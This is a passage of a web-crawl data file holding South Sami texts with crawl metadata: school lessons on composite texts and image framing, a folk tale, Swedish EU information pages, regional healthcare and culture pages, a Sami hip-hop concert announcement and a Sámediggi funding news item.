jarkelieh maam almetjh guvviej bïjre vienhtieh.\n- Darjoeh aktem åehpiedehtemem klaassese viehkine åehpiedehteme-dïrregistie gusnie dejtie ektie-bïejeme tjaalegidie vuesehth mejtie våaroeminie utnih, jïh doh orre ektie-bïejeme tjaalegidie mejtie dorjeme. Buerkesth guktie doh orre bijjie-tjaalegh viehkiehtieh aktem orre mïelem guvvide vedtedh.\n4. laavenjasse\nDarjoeh aktem digitaale soptsesem såemies guvviejgujmie datne gaske-viermesne gaavnh viehkine videostaeriedimmie-dïrregistie jallh åehpiedehteme-dïrregistie. Digitaale soptsese edtja nomme-sæjroem, tjåadtjoen guvvieh jïh tjoejem (musihke, duekie-tjoeje jallh effekte-tjoeje) utnedh.\n- Ussjedh veelelaakan guktie datne ektie-spïelem dej ovmessie soptsestimmie-vuekiej gaskem soptsesisnie sjugnedh.\n- Åehpiedehtieh soptsesem.\n- Mujhtieh gaaltijidie saarnodh mejtie nuhtjeme.\nBaakoeh\nektie-bïejeme tjaalege\nsammensatt tekst\nbåastolen\nmotsatt\naajkoe\nhensikt\nlissie-ulmie\ntilleggsbetydning\ndïjren gaavhtan\npå grunn av budskap\nbijjie-tjaalege\noverskrift\nåehpiedehteme\npresentasjon\nåehpiedehteme-dïrrege\npresentasjonsverktøy\nvåarome\nutgangspunkt\nvideostaeriedimmie-dïrrege\nvideoredigeringsverktøy\nduekie-tjoeje\nbakgrunnslyd\nektie-spïele\nsamspill","id":"","dump":"CC-MAIN-2017-17","url":"http:\/\/ndla.no\/nb\/node\/172930?fag=126960","date":"2017-04-29T19:30:07Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2017-17\/segments\/1492917123560.51\/warc\/CC-MAIN-20170423031203-00363-ip-10-145-167-34.ec2.internal.warc.gz","language":"sma","language_score":0.9999603033,"language_script":"Latn","minhash_cluster_size":3,"top_langs":"{\"sma_Latn_score\": 0.9999603033065796}","num_words":277,"character_repetition_ratio":0.099,"word_repetition_ratio":0.0,"special_characters_ratio":0.151,"stopwords_ratio":0.079,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Inga vanliga sökord hittades. Pröva att skriva klart ditt sökord och klicka på sökknappen.\nInga artiklar hittades\nInga frågor och svar hittades\nJis sæjhta sjæjsjalimmide tsevtsedh EU:esne maahta govlesadtedh naan dejstie gie dejnie barkeminie jallh sjæjsjaleminie, EU-gyhtjelassigujmie.\nEuropaparlamentarihkerh. Gååvnese sveerjen tjirkijh Europaparlamentesne gïeh leah meatan jïh EU-sjæjsjalimmide tsevtsieh. Govlesadtemebïevnesh dejtie gååvnesieh www.europaparlamentet.se. Dïhte aaj hijven gåarede Europaparlamenten bïevnesekontovrese Sveerjesne govlesadtedh, telefovne 08-562 444 55, e-påaste .\nRïjhkebiejjietjirkijh. Dïhte sveerjen rïjhkebiejjien tjirkijh laakide Sveerjesne tseegkieh jïh reerenassese vuajnoeh vedtieh åvteli ministereraeresne sjæjsjalieh. www.riksdagen.se sæjrosne gååvnesieh adressh dejtie 349 tjirkijidie jïh dej politihken krirride rïjhkebiejjesne.\nMinisterh reerenassesne. Dah sveerjen ministerh lea meatan EU:en ministereraerietjåanghkosne gusnie dah sjæjsjalieh orre EU:en njoelkedasside. www.regeringen.se sæjrosne gååvnese govlesadtemebïevnesh reerenassen gaajhkide ministeridie.\nEU-kommisjovne. EU-kommisjovne sæjhta daamhtaj vuajnoeh utnedh raeriestimmide laakide. Akte miljovne EU-otnjegh maehtieh aaj otnjegeinitiatijvesne kommisjovnem haestedh laakejeatjahtehtemasse. Maahta EU-kommisjovnem kontovrem Sveerjesne govlesadtedh, telefovne 08-562 444 11, e-påaste . Webbeadresse lea ec.europa.eu\/sverige\/index_sv.htm.\nOrganisasjovnh. Gellie organisasjovnh europeijen daltesisnie laavenjostoeh juktie sijhtieh EU:em tsevtsedh.\nNär du svarar på frågan ovan samtycker du också till att cookies används. Inga personuppgifter lagras. Mer om cookies.\nEU-upplysningen vid Sveriges riksdag har i uppdrag att ge opartisk och allsidig information om EU, det svenska medlemskapet och EU-arbetet i riksdagen. Du kan kontakta oss via telefon, e-post eller brev. Välkommen att fråga oss om EU!\nTelefon: 020-250 000 Öppettider Mån - fre 9-12\nE-post:\nPostadress:\nEU-upplysningen\nSveriges riksdag\n100 12 Stockholm","id":"","dump":"CC-MAIN-2017-17","url":"http:\/\/www.eu-upplysningen.se\/Lankar-topp-fot-menyer\/Other-languages\/Aarjelsaemien\/Guktie-EUem-tsevtsedh\/","date":"2017-04-27T09:04:25Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2017-17\/segments\/1492917122041.70\/warc\/CC-MAIN-20170423031202-00640-ip-10-145-167-34.ec2.internal.warc.gz","language":"sma","language_score":0.9935814142,"language_script":"Latn","minhash_cluster_size":20,"top_langs":"{\"sma_Latn_score\": 0.9935814142227173}","num_words":213,"character_repetition_ratio":0.059,"word_repetition_ratio":0.0,"special_characters_ratio":0.166,"stopwords_ratio":0.042,"flagged_words_ratio":0.0,"lang_id_score":0.996,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Fagstoff\nAamhtese-tjaalegh\nUlmieh\nDaejtie ulmide mijjieh learoesoejkesjistie veedtjeme mah kapihtelasse sjiehtieh.\nNjaalmeldh govlesadteme\n- faageles daajroeh jïh dïejvesh nuhtjedh soptsestimmine tjaalegi jïh gïelen bïjre\nTjaaleldh govlesadteme\n- ovmessie såarhts tjaalegh jïjtse tïjjeste, tjiehpieslidteratuvrh jïh aamhteseprovsah lohkedh, jïh sisvegen, hammoen jïh åssjelen bïjre ussjedidh\n- tjaalegh teemine jïh faageterminologijine tjaeledh sjïehtedamme jïjtse ööhpehtimmie-programmese maallen mietie ovmessie vuesiehtimmietjaalegijstie\n- gïelem jïh soptsestimmievuekieh sjïehtedidh ovmessie tjaelemetsiehkide skuvlesne, siebriedahkesne jïh barkoejieliedisnie\nLearoe-baalkah\nDaennie kapihtelisnie göökte learoe-baalkah\n- Tjaeleme-raerieh\n- Aamhtese-tjaalegh\nKontekst\nKompetansemål\n- Læreplan i samisk som førstespråk\n- bruke faglige kunnskaper og begreper i samtaler om tekst og språk\n- lese et representativt utvalg samtidstekster, skjønnlitteratur og sakprosa, og reflektere over innhold, form og formål\n- tilpasse språk og uttrykksmåter til ulike skrivesituasjoner i skole, samfunn og arbeidsliv\n- innhente, vurdere og bruke fagstoff fra digitale kilder i arbeid med egne tekster og følge regler for personvern og opphavsrett","id":"","dump":"CC-MAIN-2017-17","url":"http:\/\/ndla.no\/nb\/node\/173412?fag=126960","date":"2017-04-28T17:45:33Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2017-17\/segments\/1492917123046.75\/warc\/CC-MAIN-20170423031203-00142-ip-10-145-167-34.ec2.internal.warc.gz","language":"sma","language_score":0.9996098876,"language_script":"Latn","minhash_cluster_size":2,"top_langs":"{\"sma_Latn_score\": 0.9996098875999451}","num_words":135,"character_repetition_ratio":0.056,"word_repetition_ratio":0.0,"special_characters_ratio":0.142,"stopwords_ratio":0.081,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Goh patiente dov lea muvhtene ovmessie veeljemenuepieh dov hoksen bïjre. Datne maahtah naan aejkien hoksem veeljedh jeatjah skïemtjegåetine goh Staaren skïemtjegåetie jallh jeatjah laantesne (Frijjes hokseveeljeme) jïh dov lea aaj reakta healsoejarngem veeljedh lïenen sisnie gusnie årroeminie (Healsoeveeljeme Jïemhten lïene).\nLohkh jïjnjebh dej nuepiej bïjre Hälsoval i Jämtlands län nualan jïh aaj Fritt vårdval nualan meny:sne garrahbielesne daennie sæjrosne.\nSidansvarig:Gun Råberg Kjellerstrand, tel: +4663147737, e-post: email@example.com.\nHittar du fel eller har synpunkter på innehållet, meddela\nSenast uppdaterad 2013-02-13.","id":"","dump":"CC-MAIN-2017-17","url":"http:\/\/regionjh.se\/omoss\/informationpaandrasprak\/aarjelsaemiesame\/veeljemenuepienhoksesnevalmojligheterivarden.4.5206785213ccccc5d80190.html","date":"2017-04-23T15:51:41Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2017-17\/segments\/1492917118713.1\/warc\/CC-MAIN-20170423031158-00146-ip-10-145-167-34.ec2.internal.warc.gz","language":"sma","language_score":0.9988473058,"language_script":"Latn","minhash_cluster_size":4,"top_langs":"{\"sma_Latn_score\": 0.9988473057746887}","num_words":76,"character_repetition_ratio":0.029,"word_repetition_ratio":0.0,"special_characters_ratio":0.185,"stopwords_ratio":0.105,"flagged_words_ratio":0.0,"lang_id_score":0.999,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Krokomen tjïelte vijries kultuvrefaaleldahkem faala dovne maanide jïh geerve almetjidie, man maadtoe siebreste, voenen jieliemistie jïh histovrijistie. Jielije siebrie mijjese hævvi. Siebriejieleme meatan jielemem bueriedidh. Dutnjien stuarine raastehts laantem Staaren jïh Ååren gaske faalebe – Fiskevägen jïh.\nKontakta oss\nHar du tekniska frågor eller vill kommentera informationen på sidan så kan du kontakta webbredaktionen. Klicka här!","id":"","dump":"CC-MAIN-2017-17","url":"http:\/\/krokom.se\/sma-SE\/kulturfritidochturism.3772.html","date":"2017-04-29T19:23:56Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2017-17\/segments\/1492917123560.51\/warc\/CC-MAIN-20170423031203-00566-ip-10-145-167-34.ec2.internal.warc.gz","language":"sma","language_score":0.9909132123,"language_script":"Latn","minhash_cluster_size":2,"top_langs":"{\"sma_Latn_score\": 0.9909132122993469}","num_words":55,"character_repetition_ratio":0.0,"word_repetition_ratio":0.0,"special_characters_ratio":0.145,"stopwords_ratio":0.073,"flagged_words_ratio":0.0,"lang_id_score":0.995,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Persovne- jïh byjrese-buerkiestimmieh\nPersovne-buerkiestimmie\nEpihken tjaaleginie, dah litterææren almetjh vihkeles. Man gellie almetjh aktene soptsesisnie leah joekehts. Daamhtaj ij man gallesh åenehks tjaaleginie, goh novellh jïh heamturh. Guhkebe tjaaleginie, goh romaane desnie jienebh almetjh. Mijjieh dejgujmie buerebe åahpenibie dej jiehtegi, dahkoej jïh åssjaldahki tjïrrh.\nByjrese-buerkiestimmie\nTïjje, sijjie jïh byjrese\nTjoerebe aaj ussjedidh gåessie jïh gusnie dah almetjh soptsesisnie jielieh, mennie byjresisnie.\nDellie tjaelije buerkeste mejnie byjresisnie heannadimmie heannede:\n- Gåessie? Daaletje jallh dovletje?\n- Mah siebriedahke-tsiehkieh jïh barkoe-jielemh\n- Eatneme-geografijen byjrese - Interiööre\nKontekst\nKompetansemål\n- Læreplan i samisk som førstespråk\n- lese et representativt utvalg samtidstekster, skjønnlitteratur og sakprosa, og reflektere over innhold, form og formål\n- skrive tekster med tema og fagterminologi tilpasset eget utdanningsprogram etter mønster fra ulike eksempeltekster\n- tilpasse språk og uttrykksmåter til ulike skrivesituasjoner i skole, samfunn og arbeidsliv\n- lese utvalgte tekster fra perioden etter 1995, sette dem inn i en kulturhistorisk sammenheng og reflektere over språk og innhold\n- gjøre rede for et bredt register av språklige virkemidler og forklare hvilken funksjon de har","id":"","dump":"CC-MAIN-2017-22","url":"http:\/\/ndla.no\/nb\/node\/171371?fag=126960","date":"2017-05-24T10:20:41Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2017-22\/segments\/1495463607811.15\/warc\/CC-MAIN-20170524093528-20170524113528-00332.warc.gz","language":"sma","language_score":0.9911919832,"language_script":"Latn","minhash_cluster_size":1,"top_langs":"{\"sma_Latn_score\": 0.9911919832229614}","num_words":161,"character_repetition_ratio":0.062,"word_repetition_ratio":0.0,"special_characters_ratio":0.161,"stopwords_ratio":0.056,"flagged_words_ratio":0.0,"lang_id_score":0.994,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Guvvie-biehkie\nGuvvie-biehkie lea dïhte bielie guvvieseerije-veartenistie jallh guvveste mij lea våajnoes guvvie-ruvtesne. Maehtebe njieljie såarhts guvvie-biehkiej gaskem joekehtidh: ållesth-guvvie, bielielïhke-guvvie, lïhke-guvvie jïh ultralïhke-guvvie.\nÅllesth-guvvie\nÅllesth-guvvie lea akte guvvie dubpielistie mij bijjie-guvviem vadta almetjijstie jïh byjreskijstie.\nBielielïhke-guvvie\nBielielïhke-guvvesne guvviedæjja tjelmide beaja akten almetjasse, daevierasse jnv. Almetje lea våajnoes åejjeste jïh medtie boelvi gåajkoe.\nLïhke-guvvie\nLïhke-guvvesne abpe guvvie lea almetjen åejjeste jïh kråahpeste ovrehte åelkiej gåajkoe.\nUltralïhke-guvvie\nUltralïhke-guvvesne aktem enn unnebe bieliem vuejnebe aktede kråahpeste jallh daevieristie goh aktene lïhke-guvvesne, vuesiehtimmien gaavhtan ajve almetjen tjelmieh.\nBaakoeh\nguvvie-biehkie\nbildeutsnitt\nållesth-guvvie\ntotalbilde\nbielielïhke-guvvesne\nhalvnærbilde\nlïhke-guvvie\nnærbilde\nultralïhke-guvvie\nultranærbilde\nguvvie-seerije\ntegneserie\nKontekst\nKompetansemål\n- Læreplan i samisk som førstespråk\n- bruke faglige kunnskaper og begreper i samtaler om tekst og språk\n- skrive kreative tekster med bruk av ulike språklige virkemidler\n- lese et representativt utvalg samtidstekster, skjønnlitteratur og sakprosa, og reflektere over innhold, form og formål\n- bruke ulike estetiske virkemidler og uttrykksformer i sammensatte tekster\n- gjøre rede for et bredt register av språklige virkemidler og forklare hvilken funksjon de har","id":"","dump":"CC-MAIN-2017-22","url":"http:\/\/ndla.no\/nb\/node\/172774?fag=126960","date":"2017-05-22T19:32:42Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2017-22\/segments\/1495463607046.17\/warc\/CC-MAIN-20170522190443-20170522210443-00290.warc.gz","language":"sma","language_score":0.9973292947,"language_script":"Latn","minhash_cluster_size":2,"top_langs":"{\"sma_Latn_score\": 0.9973292946815491}","num_words":162,"character_repetition_ratio":0.1,"word_repetition_ratio":0.0,"special_characters_ratio":0.146,"stopwords_ratio":0.062,"flagged_words_ratio":0.0,"lang_id_score":0.998,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Klies Kliemmet\nDaate soptsese lea gærjeste \"Aarporten jïh Åarjel-smaaregen soptsesh\" mij jaepien 1996 trygkesovvi. Just Knud Qvigstad lea gærjam tjaaleme jïh Lajla Mattsson Magga lea gærjam daaletje tjaeleme-vuekien mietie tjaaleme. Gærjesne heamturh, soptsesh jïh vaajesh gååvesieh.\nKlies Kliemmet\nDïhte lij Klies Kliemmet provresth ålmaj. Dle akten aejkien dïhte sov gåmma jaama, dle stoerre sårkoem öödtji. Dle funteerie: \"Mejtie ij gåaredh jeemegijstie dam mov gåmmam bååstide vaeltedh?\"\nDej tïjji gosse naaken jaama, dle gujht jeemegh jïjtjh vaaredh viedtjieh dam lïjhkem dan almetjen, mij lea jaameme. Dellie gujht Klies Kliemmet vööjni, juktie jeemeh-flåahke(-dåehkie) bööti dan sov gåetien sïjse. Dan sov gåmman lïjhke lij dan gåetien sisnie. Klies Kliemmet lij ålkone, goh dah böötin. Dle tjaangin gåatan jïh veeltin dam lïjhkem mij lij gåetien sisnie. Klies Kliemmet dam vööjni, dle ussjedi: \"Manne edtjem vaarredh åvtene jïh geehtedh, gosse båetieh.\"\nKlies Kliemmet vaarri dej jeemegi loedten mietie. Dah jeemegh lin båateme stoerre vaerien mietie. Klies Kliemmet vaarri stoerre burrien nille; dïsse tjåådtjiji jïh (edtja) vuertedh, goske doh jeemegh båetieh dahkoe. Dellie ojhte jeemegh böötin laavloen joejken, juktie leah dellie sijjieh aktem jeemegen jienebem åådtjeme.\nGoh böötin gusnie Klies Kliemmet tjåadtjoeminie, dle akte jeemege jeahta dujtie mubpide jeemegidie: \"Ij sel (sån leah) dellie Klies Kliemmet dïhte tjåadtjoeminie dan burrien nelnie.\"\nMubpie jeemege svååroe: \"Dïhte lea gujht barre vaartoe.\" Dle mïnnijin vihth. Klies Kliemmet tjåadtjoeji barre stille.\nGosse bealese böötin, dle Klies Kliemmet laari jïjtse stoerre gulhkine jïh svinhti bïjre jarkan. Jeemegh ojkesegöötin. Dle bïksi dam sov gåmman lïjhkem jïh vaarresti; dle vaarra barre ïpmerijhken. Jeemegh dåalvoejin mïnngesne. Klies Kliemmet lij så snaare (sneehpes) vaarredh, idtjin annje jaksh. Goh vööjnin, idtjin jaksh, dle lööjhtin gåmman voejkenassem jïh jeehtin voejkenassese: \"Mïnneh bååstide, gustie libie mijjieh datnem vaalteme. Juktie naemhtie sjïdti, dle tjoeverh åadtjodh veasodh annje naaken jaepieh dov geelline.\"\nKlies Kliemmet vööjni, idtjin jeemegh jaksh. Dle tjöödtjehti jïh vuartesje don sov gåmman lïjhkese. Dle jeahta jïjtsinie: \"Maam dellie manne darjoem daejnie jeemeginie? Buerebe lim baajeme voelkehtidh.\" Dellie Klies Kliemmet bïejeli dam lïjhkem dan sov bealese. Onnetji lij lïjhke gællasjasteme, dle tjuedtjieli bæjjese. Dle lij dïhte altese voejkene båateme bååstide jïh tjaangeme dan lïjhken sïjse. Dle vyösiji.\nKlies Kliemmet aavone sjïdti, juktie satne sov gåmmam veasoje vihth bååstide öödtji. Dle mïnnijigan hïejmese. Jis eagan leah jaameme, dle veasoejægan gujht annje.","id":"","dump":"CC-MAIN-2017-22","url":"http:\/\/ndla.no\/nb\/node\/129518?fag=126960","date":"2017-05-24T10:13:40Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2017-22\/segments\/1495463607811.15\/warc\/CC-MAIN-20170524093528-20170524113528-00063.warc.gz","language":"sma","language_score":0.9999829531,"language_script":"Latn","minhash_cluster_size":1,"top_langs":"{\"sma_Latn_score\": 0.9999829530715942}","num_words":371,"character_repetition_ratio":0.083,"word_repetition_ratio":0.0,"special_characters_ratio":0.174,"stopwords_ratio":0.057,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Inga vanliga sökord hittades. Pröva att skriva klart ditt sökord och klicka på sökknappen.\nInga artiklar hittades\nInga frågor och svar hittades\nEU:esne daenbiejjien 28 laanth mah ektesne medtie 508 miljovnh otnjegh utnieh. Jienebh laanth sijhtieh lïhtsegidie sjidtieh, gaskem jeatjebem Serbien jïh Turkiet.\nMannasinie eelkin dah laanth Europesne laavenjostedh?\nMubpie veartenedåaroen mænngan sïjhtin jienebh laanth orre dåaroem heerredidh. Dan gaavhtan govhte laanth ektiedin Europeijen tjïrre- jïh staelieiktedimmie jaepien 1952. Dah edtjin ektesne dïedtem utnedh tjïrre- jïh staelieprodusjovnem, mah lin vihkeles vaaroeh dåaroeindustrijesne. Dennie vuekesne edtjieh dah heerredidh sjïere laante viht aalka vaekniejgujmie ryöjredidh. Dïhte lij dïhte voestes daltese EU:m skaepiedidh.\nJaepien 1958 eelki aaj jeatjah produktine, dïenesjinie jïh kapitaaline laavenjostedh. Ellies laavenjosteme naan jaepien mænngan eelki gohtjedh EE, Europeijen ektiedimmieh. Tïjjen mietie sjïdti gaskem jeatjebem byjresem, laanteburriem jïh skovhtem aaj laavenjasside EE:n åvteste. Jaepien 1993 sjïdti EE EU:em – Europeijen unijovne. Dellie sjïdti vuesiehtimmien gaavhtan nuepiem laanth maehtieh ektesne barkedh ålkoerïjhkepolitihkeles gyhtjelassigujmie. Dan mænngan lea 16 laanth lissine lïhtsegh EU:esne sjïdteme, maam tsevtsie guktie laavenjostedh.\nNär du svarar på frågan ovan samtycker du också till att cookies används. Inga personuppgifter lagras. Mer om cookies.\nEU-upplysningen vid Sveriges riksdag har i uppdrag att ge opartisk och allsidig information om EU, det svenska medlemskapet och EU-arbetet i riksdagen. Du kan kontakta oss via telefon, e-post eller brev. Välkommen att fråga oss om EU!\nTelefon: 020-250 000 Öppettider Mån - fre 9-12\nE-post:\nPostadress:\nEU-upplysningen\nSveriges riksdag\n100 12 Stockholm","id":"","dump":"CC-MAIN-2017-22","url":"http:\/\/www.eu-upplysningen.se\/Lankar-topp-fot-menyer\/Other-languages\/Aarjelsaemien\/Aenehks-EUn-histovrijen-bijre\/","date":"2017-05-27T06:13:20Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2017-22\/segments\/1495463608870.18\/warc\/CC-MAIN-20170527055922-20170527075922-00160.warc.gz","language":"sma","language_score":0.9985294938,"language_script":"Latn","minhash_cluster_size":20,"top_langs":"{\"sma_Latn_score\": 0.9985294938087463}","num_words":224,"character_repetition_ratio":0.053,"word_repetition_ratio":0.0,"special_characters_ratio":0.178,"stopwords_ratio":0.045,"flagged_words_ratio":0.0,"lang_id_score":0.999,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Inga vanliga sökord hittades. Pröva att skriva klart ditt sökord och klicka på sökknappen.\nInga artiklar hittades\nInga frågor och svar hittades\nEU jïjnjh gyhtjelassh gïetede. Daesnie naan vuesiehtimmieh:\nByjresegyhtjelassh. EU lea vuesiehtimmien gaavhtan ulmieh bïejeme guktie lïhtsegelaanth edtjieh sov olkeseluejhtemh sjædtoegåetiegassijste unniedidh.\nGööleme. EU sjæjsjele man jïjnjh guelieh mah åådtje lïhtsegelaanti tjaetsine gööledh. Dïhte gaskem jeatjebem tsevtsie tåarskh Luvliemearoesne.\nPolijselaavenjosteme. EU-laanti polijsh jïh åklagerh reaktam utnieh laavenjostedh guktie kruepies miedtemh vööste laanti gaskem vuesiehtimmien gaavhtan tjeakoes narkotijhkefoeresjimmie.\nRegijonaaledåarjoe. EU-laanth sijhtieh dah ekonomeles jïh sosijaleles joekehts unniedidh laanti jïh regijovni gaskem EU:esne. Dan gaavhtan stoerre bieliem EU:en beetnegijstie regijonaaledåarjose.\nBaataræjjapolitihke. EU ektine njoelkedassh åtna asylen bïjre baataræjjide, gaskem jeatjebem mij laantide mij edtja asyleohtsemem gïetedidh.\nEU-laanth laavenjostoeh vuesiehtimmien gaavhtan aaj viehkiepolitihken bïjre, åesiestimmine laantigujmie EU:en ålkoelisnie, dåarjoeh laantebårran jïh beapmoegyhtjelassi bïjre.\nLïhtsegelaanti jïjtjh dïedtem utnieh jïjnjide aatide. Naan vuesiehtimmieh lea baalhkaskaehtieh, skïemtjehokse, skuvle jïh voeresebeetneh jïh maanadåarjoe.\nNär du svarar på frågan ovan samtycker du också till att cookies används. Inga personuppgifter lagras. Mer om cookies.\nEU-upplysningen vid Sveriges riksdag har i uppdrag att ge opartisk och allsidig information om EU, det svenska medlemskapet och EU-arbetet i riksdagen. Du kan kontakta oss via telefon, e-post eller brev. Välkommen att fråga oss om EU!\nTelefon: 020-250 000 Öppettider Mån - fre 9-12\nE-post:\nPostadress:\nEU-upplysningen\nSveriges riksdag\n100 12 Stockholm","id":"","dump":"CC-MAIN-2017-26","url":"http:\/\/eu-upplysningen.se\/Lankar-topp-fot-menyer\/Other-languages\/Aarjelsaemien\/Maam-EU-dorje\/","date":"2017-06-26T22:25:17Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2017-26\/segments\/1498128320869.68\/warc\/CC-MAIN-20170626221252-20170627001252-00412.warc.gz","language":"sma","language_score":0.9986671209,"language_script":"Latn","minhash_cluster_size":20,"top_langs":"{\"sma_Latn_score\": 0.9986671209335327}","num_words":213,"character_repetition_ratio":0.064,"word_repetition_ratio":0.0,"special_characters_ratio":0.156,"stopwords_ratio":0.061,"flagged_words_ratio":0.0,"lang_id_score":0.999,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Rockheim, Riddu Riđđu jïh Márkomeannu feesteiehkiedasse böörede såemies Saepmien veaksahkommes gïeligujmie. Daate akte laavenjostoe Tråantine 2017, aavoedimmie 100-jaepienheevehtimmeste saemiej voestes rijhketjåanghkoste Tråantesne.\nTråante 2017 edtja akte stoerre mïerhkesjimmie årrodh aktede 100 jaepiej gæmhposte demokratijen, reaktavoeten jïh gellievoeten gaavhtan. Gïeh eah bööremes sjïehth daam heevehtimmiem geehpehtidh goh 3 noere artisth buelije eadtjohkevoetine jïh jïjnje vaajmosne?\nMaxida Märak akte Davos gïrremejoejkestæjja mij gaskem jeatjah leah våajnoes orreme gæmhposne gruvaindustrijen vööste Saepmesne. Eerlege jïh politihkeles teekstigujmie dïhte lea åehpies goh akte mij daamtaj «fer jïjnjem» vadta goh fer vaenie. Dïhte Rockheimese båata aktine orre Ep:ine låammesne jïh akte eevre orre live-settine.\nSlinCraze musihkine jïh rap'ine eelki gosse lij ajve 14 jaepien båeries. Altese teeksth lea dan bïjre guktie jielede goh saemie maahta årrodh, akte jielede gusnie maahta dovne vaanesovmh jïh raasismem dåastodh. SlinCrazen dïjre lea raeffie, gieriesvoete jïh jååhkesjimmie saaht mij religijovne, kultuvre jïh legninge!\nPolitihkeles teekstigujmie jïh åajvoeh vokaaleteknihkine dïhte såevmien-saemien rappere Ailu Valle åehpies sjïdteme. Dïhte rappede gaskem jeatjah guktie dïhte jillege jieledevuekie eatnemem jïh saemiej jieliemassem goerpedahta. Valle baantem Trio Boogiemen meatan åtna.\nAnne Fossen, prosjekteevtiedæjja Rockheimesne jeahta, «Daate akte vadtese Tråanten årrojh eah gåessie gih aarebi åådtjeme! Hiphop åajvemes mïerhkeste Saepmeste: JÏH mijjieh buektiehtibie dam namhtah faalehtidh almetjidie!»\nRiddu Riđđunfestivaaleåvtehke Karoline Trollvik jeahta, «Saemien hip-hoperh leah bïegkesne orreme aktem ståantem daelie, joekoen dej veaksehks teeksti jïh fraakas dåemiedimmien gaavhtan. Riddu Riđđu lea garmeres ihke mijjieh limh maahteme aavoedimmiem Tråantesne dåarjoehtidh. Mijjieh ulmine utnebe gamtoem saemien kåansteste jïh kultuvreste åehpiedehtedh jieniebinie scenine abpe jaepien. Jïh joekoen hijven lea maehtedh faalehtidh såemies dejstie nööremes jïh fraakasommes artistide mijjieh utnebe.»\n«Daate akte iehkede Tråante sæjhta seenhte åajaldidh! Daesnie tjuara ajve gåårvedidh jïh meatan årrodh 100-jaepienheevehtimmiem aavoedidh mijjine ektine» Markomeannun festivaaleprodusente Susanne Langstrand-Andersen geerjene jeahta.\nSijjie jïh tïjje:\nÖörnedimmie lea Rockheimesne goeven 10.b. 2017 ts. 20:00\nSaemiedigkie jïh Noerhtelaanti kultuvrefoente öörnedimmiem dåarjoeh.","id":"","dump":"CC-MAIN-2017-26","url":"http:\/\/www.markomeannu.no\/oasat\/2016\/11\/21\/spmi-representing-rockheim","date":"2017-06-27T15:34:05Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2017-26\/segments\/1498128321458.47\/warc\/CC-MAIN-20170627152510-20170627172510-00353.warc.gz","language":"sma","language_score":0.9999694824,"language_script":"Latn","minhash_cluster_size":14,"top_langs":"{\"sma_Latn_score\": 0.999969482421875}","num_words":292,"character_repetition_ratio":0.042,"word_repetition_ratio":0.0,"special_characters_ratio":0.152,"stopwords_ratio":0.13,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Saemiedigkieraerie dåårje 200 tåvsenh kråvnah seabran Tana og Omegn Sjølaksefiskeforening juktie mearoeloesegööliji reaktatsiehkiem tjïelkestidh. Mearoeloesesiebrie vuarjesjeminie staatem steabnodh, dan åvteste doh staateles stuvrehtimmieh leah aerpievuekien mearoeloesegöölemem håvhtedeminie. \/Sametingsrådet bevilger 200.000 kroner til Tana og Omegn Sjølaksefiskeforening for å avklare sjølaksefiskernes rettsstilling. Sjølaksefiskeforeningen vurderer å stevne staten, fordi de statlige reguleringene er i ferd med å true det tradisjonelle sjølaksefisket.\nSaemiedigkien stoerretjåanghkoe lea aktem dåarjoeöörnegem nænnoestamme mij ulmine åtna saemien reaktah areaalide jïh vierhtide nænnoestehtedh. Stoerretjåanghkoe lea lyjkeme 750 000 kråvnah öörnegasse.\nUktsie ohtsemh böötin ohtsememierien åvtelen mij lij voerhtjen voestes biejjien. Raerie ohtsemidie gïetedi ruffien 28.b. Karasjohkesne. Njieljie ohtsijh dåarjoem åadtjoejin.\nTana og Omegn Sjølaksefiskeforening göölijh åtna Tanafjovlen, Varangerefjovlen, Laksefjovlen, Kvalsunden jïh Altafjovlen bïjre.\nSaemiedigkiepresidente Vibeke Larsen jeahta vihkeles mearoeloesegööliji reaktatsiehkiem tjïelkestidh jïh dan åvteste saemiedigkieraerie dåårje 200 tåvsenh kråvnah seabran Tana og Omegn Sjølaksefiskeforening.\nDåehkieaamhtese staaten vööste\nLarsen soptseste saemiedigkieraerie aaj 300 tåvsenh kråvnah dåårje Loeseprievieaajhteridie Deatnutjaetsielaajrosne (Deanučázádaga luossabreavaeaiggádiid) jïh Deatnutjaetsielaajroen Loesegöölemeseabran (Deanučázádaga luossabivdosearvi) guktie dah maehtieh aamhtesem tseegkedh juktie latjkoem Nöörjen jïh Såevmien gaskem göölemen bïjre Deatnutjaetsielaajrosne luhpehts darjodh\n– Dïhte latjkoe Nöörjen jïh Såevmien gaskem dej voenges årroji reaktam göölemasse nåakebe dorje mah reekteles vaarjelimmiem utnieh maadthlaaken jïh almetjereaktan mietie. Voenges viermiegöölijh tjuerieh sijjen aerpievuekien göölemem dan jïjnjem giehpiedidh guktie dïhte aerpievuekien gööleme lea gaarveneminie staaten stuvrehtimmiej gaavhtan, saemiedigkiepresidente Vibeke Larsen jeahta.\nBåatsoesaemiej maahtoem nænnoestehtedh\nSaemiedigkieraerie 150 tåvsenh kråvnah dåårje Troms Båatsoesaemiej Fylhkenseabran juktie båatsoesaemiej maahtoem nænnoestehtedh byögkeles reaktan jïh areaalereeremen 